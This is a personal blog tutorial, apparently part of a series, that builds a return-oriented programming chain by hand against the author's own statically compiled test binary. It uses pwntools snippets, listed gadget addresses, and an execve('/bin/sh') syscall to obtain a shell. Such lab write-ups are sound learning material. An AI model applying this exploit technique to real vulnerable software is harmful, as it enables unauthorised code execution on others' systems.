Yo, it’s me again. It’s been almost one full month since we started that initiative. Let’s continue our return-oriented programming exploitation. Today we will try to create our ropchain manually and exploit our same binary.
Preparations
I will recompile the binary using a static library to have a lot more gadgets using the -static option on gcc, then re-activate ASLR since we’re grown-ups and we can ride the bicycle without training wheels now.
gcc -no-pie -static -o r2l ret2libc.c
echo 1 > /proc/sys/kernel/randomize_va_space
There it is, if we launch ROPGadget on this binary, we can see an immense increase in gadgets. It is a little bit cheating to do that but generally, if I want to exploit a binary, it will a lot bigger than what we have there so I’ll have more choice.
Gadgets gathering
Alright, now that we did that, we can gather the different gadgets we are going to need for our exploitation.
- int 0x80 – 0x08049563 [int 0x80;]
- mov reg to [reg] – 0x0809b7c5 [mov eax, dword ptr [ecx]; pop ebx; pop esi; ret;]
- reset eax – 0x08056060 [xor eax, eax; ret;]
- increment eax – 0x0807be6a [inc eax; ret;]
- pop reg – 0x0806e9d1 [pop edx; pop ecx; pop ebx; ret;]
- pop eax – 0x080a8436 [pop eax; ret;]
- @.data – 0x080d9060 (objdump -D binary, checking the data_start] OR 0x080d9280 for _IO_wide_data_1
Fix (explained later in the article):
- mov reg to [reg] – 0x0807bf19 [mov dword ptr [ecx], eax; pop ebx; ret;]
Exploitation
To exploit the binary, we’re going to use the pwntools library this time and launch a python script rather than using the cli python executable as we did previously.
Let’s recover the offset of EIP first.
import os from pwn import * root = "/root/pwn/" f = open(root+"sploit", "w") f.write(cyclic(60)) f.close() log.info("Hey") os.system(root+"r2l")
This code will give an offset of 21 when we open the core with gdb, no surprises there.
Let’s do a quick test using the reset eax gadget and incrementing it 7 times. This code should do the trick, we will f.write(ropchain) after that:
ropchain = "A" * 21 ropchain += p32(0x08056060) # reset eax - 0x08056060 [xor eax, eax; ret;] for i in range(7): ropchain += p32(0x0807be6a) # increment eax - 0x0807be6a [inc eax; ret;] ropchain += p32(0xdeadbeef)
Nice! Everything is working as expected, we did write 0xdeadbeef to EIP (since it is the last address to be “ret”), we can see that eax is also set to 0x7 which is the value we were looking for.
To write our ropchain, we are going to need to use the .data segment and first store the correct values to the corresponding registers. If we take a look at the two data segment addresses we found earlier, we’ll see that one is more interesting than the other to use:
The second one is filled with null bytes and this could be useful for our exploitation since we will need to have a string delimiter if we don’t want to put null bytes in our payload (we could, since we are using a file, but it could be funnier to work that way). Because we have our mov to a ptr [ecx], let’s pop the address of _IO_wide_data_1 to ecx.
dummy = p32(0xdac0ffee) data = 0x080d9280 ropchain = "A" * 21 ropchain += p32(0x0806e9d1) # pop reg - 0x0806e9d1 [pop edx; pop ecx; pop ebx; ret;] ropchain += dummy ropchain += p32(data) ropchain += dummy
This should do the trick, we now need to write the first argument and point to to /bin/sh, don’t forget we’ll write 4 bytes every time so let’s write /bin and //sh.
ropchain += p32(0x080a8436) # pop eax - 0x080a8436 [pop eax; ret;] ropchain += "/bin" ropchain += p32(0x0809b7c5) # mov reg to [reg] - 0x0809b7c5 [mov eax, dword ptr [ecx]; pop ebx; pop esi; ret;] ropchain += dummy ropchain += dummy ropchain += p32(0xdeadbeef)
Let’s try to execute the program and see if we correctly did manager to write /bin to the address of data (0x080d9280). We did not, but after a little bit debugging I managed to see what was my error. I thought the format was AT&T and not intel, so the address 0x0809b7c5 [mov eax, dword ptr [ecx]; pop ebx; pop esi; ret;] did move ptr [ecx] to eax and not the other way around, I’ll use another gadget: 0x0807bf19 [mov dword ptr [ecx], eax; pop ebx; ret;]. Let’s relaunch the same program using this new gadget with a dummy after that since it is adding a pop.
Alright, this time we did manage to write to the data segment, perfect! We can continue our exploit and write the other information we need (end of the binary name, parameters, and env). Since we are using /bin/sh we won’t have to write the parameters or the env since we just want to execute /bin/sh.
ropchain += p32(0x08056060) # reset eax - 0x08056060 [xor eax, eax; ret;] for i in range(11): ropchain += p32(0x0807be6a) # increment eax - 0x0807be6a [inc eax; ret;] ropchain += p32(0x0806e9d1) # pop reg - 0x0806e9d1 [pop edx; pop ecx; pop ebx; ret;] ropchain += p32(data + 9) ropchain += p32(data + 9) ropchain += p32(data) ropchain += p32(0x08049563) # int 0x80 - 0x08049563 [int 0x80;]
Let’s try that.
Perfect! I have some issue in my tty but I’m in a shell.
Here’s the full code and the binary, without any null byte in the ropchain, so we could’ve used strcpy:
What if I wanted to add parameters?
Here’s how the .data segment would have to be written to:
[binary name][\0][argument 1][\0][argument 2][\0][address of argument 1][address of argument 2][\0]
- ebx would point to [binary name]
- ecx would point to [address of argument 1]
- edx would point to null
What did I learn today
- How to compile a static binary to have more gadgets
- How to get the .data segment address and use it at our advantage
- Importance of the difference of intel vs AT&T format (mov eax, 1) vs (mov $1, %eax)
- How arrays of addresses are stored in the memory ([address][address][\0])
- Writing my first full rop chain by myself!